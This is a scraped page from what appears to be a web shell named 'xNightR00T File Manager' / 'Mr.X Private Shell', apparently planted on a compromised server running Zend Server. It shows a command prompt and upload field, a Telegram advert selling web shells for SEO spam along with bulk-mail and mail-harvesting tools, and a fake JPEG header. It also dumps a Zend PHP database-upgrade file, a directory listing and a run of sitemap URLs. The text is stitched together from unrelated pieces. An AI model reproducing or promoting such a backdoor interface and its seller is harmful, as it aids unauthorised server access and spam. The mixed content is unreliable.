xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

require_once dirname(__FILE__) . "/zs_component_upgrader.php";


class GUIDBHandler extends ZSComponentUpgrader  {

	private $dbPath;
	private $dbh = null;
	private $dbName='gui';

	public function getMysqlSchemaVersion() {
		$dbh = $this->getMySqlDbh();
		return $dbh->query('SELECT property_value FROM schema_properties WHERE property = \'gui_schema_version\'')->fetchColumn(0);
	}

	public function setMysqlSchemaVersion($dbh, $version) {
		$dbh->exec("REPLACE INTO schema_properties (property, property_value) VALUES ('gui_schema_version', '{$version}')");
	}

	public function getSqliteSchemaVersion() {
		$dbh = $this->getSqliteDbh();
		$version = $dbh->query('SELECT DATA FROM GUI_METADATA WHERE NAME = \'gui_schema_version\'')->fetchColumn(0);
		return $this->getParsedVersionString($version);
	}

	public function setSqliteSchemaVersion($dbh, $version) {
		$dbh->exec("INSERT OR REPLACE INTO GUI_METADATA (NAME, DATA) VALUES ('gui_schema_version', '{$version}')");
	}

	public function getComponent() { return "gui"; }

	public function getSchemaVersion() { return "2018.0.0"; }

	// List of new directives per version.
	// All the new directives should be added here.
	private $newDirectives = array(
		// version
		'9.1.0' => array(
			// section
			'server' => array(
				// key => default value
				'zend_gui.environmentColor' => '#FFFFFF',
				'zend_gui.environmentName' => '',
				'zend_gui.networkEnable' => '1',
			),

			'mail' => array(
				'zend_gui.from_address' => 'no-reply@zend.com',
			),
		),
				'2018.0.0' => array(
			// section
			'encryption' => array(
				'zend_gui.encryption_method' => 'AES-256-CBC',
			),
			'jqpulse' => array(
				'zend_gui.jqPulseAvgLimit'          => '60',
				'zend_gui.jqPulseSuccessPercent'    => '95',
				'zend_gui.jqPulseMediumPercent'     => '90'
			),
		),
	);


	protected function getSqliteDbName($version = "6.0.0") {
		return "gui.db";
	}

	protected function getMysqlSqlFilenames() {
		return array(
				"gui_mysql_create_database.sql"
				, "gui_mysql_acl_fixtures.sql"
		);
	}

	protected function getSqliteSqlFilenames() {
		return array(
				"gui_sqlite_create_database.sql"
				, "gui_sqlite_acl_fixtures.sql"
		);
	}

	/**
	 * @param string $version
	 * @return string
	 */
	protected function getSqliteZsdPath($version = null) {
		return $this->getDbDir($version) . "/zsd.db";
	}

	/**
	 *
	 * @return PDO
	 */
	protected function getZsdDbh() {
		$pdo = new PDO("sqlite:" . $this->getSqliteZsdPath());
		$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);

		return $pdo;
	}

	protected function getI5UpdateSqlFilenames() {
		return "gui_ibmi_update_database.sql";
	}

	public function __construct() {
		$this->dbPath = get_cfg_var('zend.data_dir') . "/db/{$this->dbName}.db";

		$this->copySqliteFromPreviousVersions($this->getUpgradeFromVersion());
	}

	/**
	 * @param PDO $db
	 */
	private function updateByGuiSchemaVersion(PDO $db) {

	}

	/**
	 * @param PDO $db
	 */
	private function cleanOldTablesData(PDO $db) {
		$db->exec('DELETE FROM GUI_ACL_ROLES');
		$db->exec('DELETE FROM GUI_ACL_RESOURCES');
		$db->exec('DELETE FROM GUI_ACL_PRIVILEGES');
		$db->exec('DELETE FROM GUI_AVAILABLE_LOGS');
	}

	public function createSchema() {
		$dbSqlite = $this->getSqliteDbh();
		if (file_exists($this->dbPath)) {
			message("Upgrade {$this->dbName} database in {$this->dbPath}");
			/// countRow doesn't work here for some reason
			$hasMetadata = (count($dbSqlite->query('SELECT name FROM sqlite_master WHERE type=\'table\' AND name=\'GUI_METADATA\';')->fetchAll(PDO::FETCH_ASSOC)) > 0);

			if ($hasMetadata) {
				$this->cleanOldTablesData($dbSqlite);
				$schemaVersion = $dbSqlite->query('SELECT DATA FROM GUI_METADATA WHERE NAME = \'gui_schema_version\'')->fetchColumn(0);
				if (version_compare($schemaVersion, '1.1.2', '<')) {
					message('Add unique index to gui.db GUI_AVAILABLE_LOGS');
					$dbSqlite->exec('CREATE UNIQUE INDEX unique_logs on GUI_AVAILABLE_LOGS (NAME)');
				}
			}
		}

		$this->createCleanSqliteDatabase();



		// create the MYSQL schema if needed
		if ($this->isClusterUpgrade()) {
			message("Upgrade {$this->dbName} Mysql tables");
			$dbMysql = $this->getUpgradedMySqlDbh();
			if ($dbMysql) {
				$hasMetadata = ($dbMysql->query('SHOW TABLES LIKE \'schema_properties\';')->rowCount() > 0);

				if ($hasMetadata) {
					$schemaVersion = $dbMysql->query('SELECT property_value FROM schema_properties WHERE property = \'gui_schema_version\'')->fetchColumn(0);
					if ($schemaVersion) {
						$this->cleanOldTablesData($dbMysql);
						if (version_compare($schemaVersion, '1.1.2', '<')) {
							message('Add unique index to mysql GUI_AVAILABLE_LOGS');
							$dbMysql->exec('CREATE UNIQUE INDEX unique_logs on GUI_AVAILABLE_LOGS (NAME)');
						}
					}
				}
			}

			$this->createCleanMysqlDatabase();
		}

		// OS is IBMI
		if (in_array(PHP_OS, array('AIX', 'OS400'))) {
			message("Update the GUI database for IBMi");
			$sql = file_get_contents($this->getSqlsDir() . "/" . $this->getI5UpdateSqlFilenames());
			$result = $dbSqlite->exec($sql);

			if ($this->isClusterUpgrade()) {
				$result = $dbMysql->exec($sql);
			}
		}

	}

	public function mergeZsGUIfilters() {
		//message(__METHOD__);

		// check the upgrade-from version
		$upgradeFromVersion = $this->getUpgradeFromVersion();
		if (!intval($upgradeFromVersion)) {
			message('Cannot detect which version to upgrade from (upgradeFromVersion = 0)');
			return;
		}

		if (version_compare($upgradeFromVersion, '9.1.0', '<')) {

			$this->upgradeUserGUIFilters();

			message('Updating the GUI filters');
			$queries = array(
				// update "failed" jobs statuses
				'UPDATE GUI_FILTERS SET
					data = \'{"status":["Logical failure", "Backend timeout", "Backend not responding", "Bad Request", "HTTP error", "Failed to start", "Failed predecessor"]}\'
				 WHERE
					filter_type LIKE "job" AND
					name LIKE "Failed Jobs"',

				// update "successful" jobs statuses
				'UPDATE GUI_FILTERS SET
					data = \'{"status":["Completed", "Successful"]}\'
				 WHERE
					filter_type LIKE "job" AND
					name LIKE "Successful Jobs"',
			);

			foreach ($queries as $queryStr) {
				if ($this->isClusterUpgrade()) {
					message("Upgrade {$this->dbName} Mysql tables");
					$dbMysql = $this->getUpgradedMySqlDbh();
					if ($dbMysql) {
						$result = $dbMysql->exec($queryStr);
					}
				} else {
					$sqliteDb = $this->getSqliteDbh();
					$sqliteDb->query($queryStr);
				}
			}
		}

		if (version_compare($upgradeFromVersion, '2018.0.0', '<')) {
			// change statuses to match JQ CLI jobs too
			// ("Bad Request" -> "Target not found", and "HTTP error" to "Runtime error")
			$queryStr = 'UPDATE GUI_FILTERS SET
					data = \'{"status":["Logical failure", "Job timeout", "Backend not responding", "Target not found", "Runtime error", "Failed to start", "Failed predecessor"]}\'
				 WHERE
					filter_type LIKE "job" AND
					name LIKE "Failed Jobs"';

			if ($this->isClusterUpgrade()) {
				message("Upgrade {$this->dbName} Mysql tables");
				$dbMysql = $this->getUpgradedMySqlDbh();
				if ($dbMysql) {
					$result = $dbMysql->exec($queryStr);
				}
			} else {
				$sqliteDb = $this->getSqliteDbh();
				$sqliteDb->query($queryStr);
			}
		}
	}

	/**
	 * In upgrade 9.0 -> 9.2 user filters for job queue "Failed" status was converted to "HTTP Error", fixed bug #ZSR-875
	 */
	public function upgradeUserGUIFilters() {

		message('Updating the GUI User filters');
		$q = 'SELECT id,data FROM GUI_FILTERS';
		$res = array();
		if ($this->isClusterUpgrade()) {
			message("Upgrade {$this->dbName} Mysql tables");
			$db = $this->getUpgradedMySqlDbh();
		} else {
			$db = $this->getSqliteDbh();
			$res =  $db->query($q)->fetchAll();
		}

		if ($db) {
			foreach ($res as $row) {
				$filterData      = $row['data'];
				$fixedFilterData = str_replace("Failed", "HTTP error", $filterData);
				$res             = $db->query("UPDATE GUI_FILTERS SET
									data = '$fixedFilterData'
								 WHERE
									id = {$row['id']}");
			}
		}
	}



	/**
	 * read "newDirectives" list and add the new directives to ZS_UI.INI file
	 * @return NULL
	 */
	public function mergeZsUiIni() {
		//message(__METHOD__);

		// check the upgrade-from version
		$upgradeFromVersion = $this->getUpgradeFromVersion();
		if (!intval($upgradeFromVersion)) {
			message('Cannot detect which version to upgrade from (upgradeFromVersion = 0)');
			return;
		}

		// read all the directives from the current (old) zs_ui.ini
		$zsuiiniPath = $this->getGuiConfigurationPath();
		if (!file_exists($zsuiiniPath)) {
			message("zs_ui.ini not found in '{$zsuiiniPath}'");
			return;
		}

		$oldDirectives = parse_ini_file($zsuiiniPath, $__processSections = true, INI_SCANNER_RAW);
		//message(__METHOD__.' | old directives after parse_ini: '.var_export($oldDirectives, true));

		// merge new directives into the old list
		$allDirectives = $oldDirectives;
		foreach ($this->newDirectives as $versionNumber => $sectionsList) {
			// if directive's version number is higher then the current version
			// (check if we should add the directives to the list)
			if (version_compare($versionNumber, $upgradeFromVersion, '>')) {
				foreach ($sectionsList as $sectionName => $directivesList) {

					// check if the section exists
					if (!isset($allDirectives[$sectionName])) {
						$allDirectives[$sectionName] = array();
					}

					// add the new directives to the section
					foreach ($directivesList as $diretiveName => $directiveValue) {
						$allDirectives[$sectionName][$diretiveName] = $directiveValue;
					}
				}
			}
		}

		// dump the new directives list (with sections) back to the file
		$this->writePhpIni($allDirectives, $zsuiiniPath);
	}

	/**
	 * Remove old directives - NOT USED IN 9.1 AND SHOULD BE REMOVED
	 * @TODO shuold be rewritten the same way as in "mergeZsUiIni" method with array
	 * @return
	 */
	public function cleanZsUiIni() {
		message("Clean zs_ui.ini of old directives");
		$zsuiini = $this->getGuiConfigurationPath();
		if ( ! file_exists($zsuiini)) {
			message("zs_ui.ini not found in '{$zsuiini}'");
			return ;
		}

		$iniLines = file($zsuiini, FILE_IGNORE_NEW_LINES);
		$lines = count($iniLines);

		$pattern = '#(' . implode('|', array(
				preg_quote('zend_gui.demoAppId'),
				preg_quote('zend_gui.samplesAppId'),
				preg_quote('zend_gui.shortNotificationTime'),
				preg_quote('zend_gui.showSamplesApplication'),
				preg_quote('zend_gui.trialExtended')
		)) .')#';

		for ($line = 0; $line < $lines; $line ++) {
			if (0 < preg_match($pattern, $iniLines[$line])) {
				message("Cleaned out line: {$iniLines[$line]}");
				unset($iniLines[$line]);
			}
		}

		file_put_contents($zsuiini, implode(PHP_EOL, $iniLines));
	}

	public function removeBootSnapshot() {

		// clear and rebuild the snapshot (happens also on PHP version upgrade)
		message("Deleting SystemBoot gui snapshots");

		/// clear the snapshot
		$sqliteDb = $this->getSqliteDbh();
		$query = "DELETE FROM GUI_SNAPSHOTS WHERE NAME = 'SystemBoot';";
		$sqliteDb->query($query);
		if ($this->isClusterUpgrade()) {
			$this->getUpgradedMySqlDbh()->query($query);
		}

		message("Snapshot deleted");

		/// default for 6.2
		$directivesBlacklist = array(
				// Global directives
				'zend.serial_number',
				'zend.user_name',
				'zend.node_id',

				// SC directives
				'zend_sc.network.hostname',
				'zend_sc.allowed_hosts',
				'zend_sc.ha.cluster_members',

				// zend.database directives
				'zend.database.type',
				'zend.database.name',
				'zend.database.host_name',
				'zend.database.port',
				'zend.database.user',
				'zend.database.password',

				// debugger
				'zend_debugger.allow_hosts',
				'zend_debugger.deny_hosts',

				// GUI directives
				'zend_gui.defaultServer',

		);

		/// attempt to retrieve the real deal
		$config = $this->getGuiGlobalConfiguration();
		$uiconfig = $this->getGuiConfiguration();
		if (is_array($config) && isset($config['export']) && isset($config['export']['directivesBlacklsit'])) {
			$directivesBlacklist = $config['export']['directivesBlacklsit'];

			if (is_array($uiconfig) && isset($uiconfig['export']) && isset($uiconfig['export']['directivesBlacklsit'])) {
				$directivesBlacklist = array_merge($directivesBlacklist, $uiconfig['export']['directivesBlacklsit']);
			}
		}

		/// rebuild the snapshot
		$extraData = json_encode(array('snapshotType' => 1, 'directivesBlacklist' => $directivesBlacklist, 'snapshotName' => 'SystemBoot'));

		message("Create a new snapshot");

		$query = "INSERT INTO ZSD_TASKS (NODE_ID, TASK_ID, EXTRA_DATA) VALUES(0, 47, '{$extraData}')";
		$this->getZsdDbh()->query($query);

		if ($this->isClusterUpgrade()) {
			$nodeId = intval(get_cfg_var('zend.node_id'));
			message("Create a new snapshot, by nodeId {$nodeId}");
			$query = "INSERT INTO ZSD_TASKS (NODE_ID, TASK_ID, EXTRA_DATA) VALUES({$nodeId}, 47, '{$extraData}')";
			$this->getUpgradedMySqlDbh()->query($query);
		}

	}

	private function getGuiGlobalConfiguration() {
		return include get_cfg_var('zend.install_dir') . DIRECTORY_SEPARATOR . 'gui' . DIRECTORY_SEPARATOR . 'config' . DIRECTORY_SEPARATOR . 'autoload' . DIRECTORY_SEPARATOR . 'global.config.php';
	}

	protected function upgradeSqlite() {
	}

	protected function upgradeMysql() {
	}

	public function upgrade() {
		$this->createSchema();
		$this->mergeZsUiIni();
		$this->mergeZsGUIfilters();

		$this->cleanZsUiIni();
		$this->removeBootSnapshot();
	}

	private function writePhpIni($array, $file) {
		//message(__METHOD__.' | file:'.var_export($file, true));
		$res = array();
		$firstSection = true;
		foreach ($array as $key => $val) {
			if (is_array($val)) {
				if ($firstSection) {
					$res[] = "[$key]";
					$firstSection = false;
				} else {
					$res[] = "";
					$res[] = "[$key]";
				}
				foreach ($val as $skey => $sval) {
					//message(__METHOD__."(1) ".var_export($skey, true).' = '.var_export($sval, true));
					// convert bool to string
					if (is_bool($sval)) {
						$sval = $sval ? 'true' : 'false';
					}

					// wrap values with quotes if the string has spaces
					if (!is_numeric($sval) && (strpos($sval, ' ') !== false || strpos($sval, '=') !== false)) {
						$sval = '"'.$sval.'"';
					}

					//message(__METHOD__."(2) $skey = {$sval}");
					$res[] = "$skey = {$sval}";
				}
			} else {
				//message(__METHOD__."(3) ".var_export($key, true).' = '.var_export($val, true));
				// convert bool to string
				if (is_bool($val)) {
					$val = $val ? 'true' : 'false';
				}

				// wrap string values with quotes
				if (!is_numeric($val) && (strpos($sval, ' ') !== false || strpos($sval, '=') !== false)) {
					$val = '"'.$val.'"';
				}

				//message(__METHOD__."(4) $key = {$val}");
				$res[] = "{$key} = {$val}";
			}
		}
		$this->safeFilereWrite($file, implode("\r\n", $res));
	}

	private function safeFilereWrite($fileName, $dataToSave) {
		if ($fp = fopen($fileName, 'w')) {
			$startTime = microtime();
			do {
				$canWrite = flock($fp, LOCK_EX);
				// If lock not obtained sleep for 0 - 100 milliseconds, to avoid collision and CPU load
				if (! $canWrite)
					usleep(round(rand(0, 100) * 1000));
			} while ((! $canWrite) and ((microtime() - $startTime) < 1000));

			// file was locked so now we can store information
			if ($canWrite) {
				fwrite($fp, $dataToSave);
				flock($fp, LOCK_UN);
			}
			fclose($fp);
		}
	}


}

class GUIDbCreator_2019_0_0 extends GUIDBHandler
{
	const SCHEMA_VERSION = "2019.0.0";

	public function getSchemaVersion() { return self::SCHEMA_VERSION; }

	public function upgrade() {
		$this->createSchema();
		$this->mergeZsUiIni();
		$this->mergeZsGUIfilters();

		$this->cleanZsUiIni();
		$this->removeBootSnapshot();
	}
}

Filemanager

Name Type Size Permission Actions
azure-plugins Folder 0755
minify Folder 0755
plugins Folder 0755
zray-cleanup-scripts Folder 0755
devbar_footer.html File 18.69 KB 0644
devbar_footer_azure.html File 16.58 KB 0644
devbar_footer_sa.html File 16.54 KB 0644
devbar_header.html File 1.37 KB 0644
zend_apc_wrapper.php File 2.01 KB 0644
zend_modify_vhost.php File 26.11 KB 0644
zs_apm_db_handler.php File 3.59 KB 0644
zs_component_upgrader.php File 17.99 KB 0644
zs_create_databases.php File 7.69 KB 0644
zs_db_settings.php File 2.15 KB 0644
zs_deployment_db_handler.php File 20.77 KB 0644
zs_devbar_db_handler.php File 3.22 KB 0644
zs_gui_db_handler.php File 15.35 KB 0644
zs_ini_parser.php File 14.91 KB 0644
zs_jq_db_handler.php File 11.81 KB 0644
zs_maintenance.php File 31.99 KB 0644
zs_merge_ini.php File 9.37 KB 0644
zs_monitor_2019_0_0_db_handler.php File 2.83 KB 0644
zs_monitor_db_handler.php File 5.44 KB 0644
zs_optimize_tables.php File 2.02 KB 0644
zs_pagecache_db_handler.php File 2.61 KB 0644
zs_pagecache_purge_db_handler.php File 1.57 KB 0644
zs_product_definitions.php File 65 B 0644
zs_statistics_db_handler.php File 9.05 KB 0644
zs_statsd_db_handler.php File 2.13 KB 0644
zs_tracing_db_handler.php File 3.53 KB 0644
zs_zsd_db_handler.php File 43.89 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml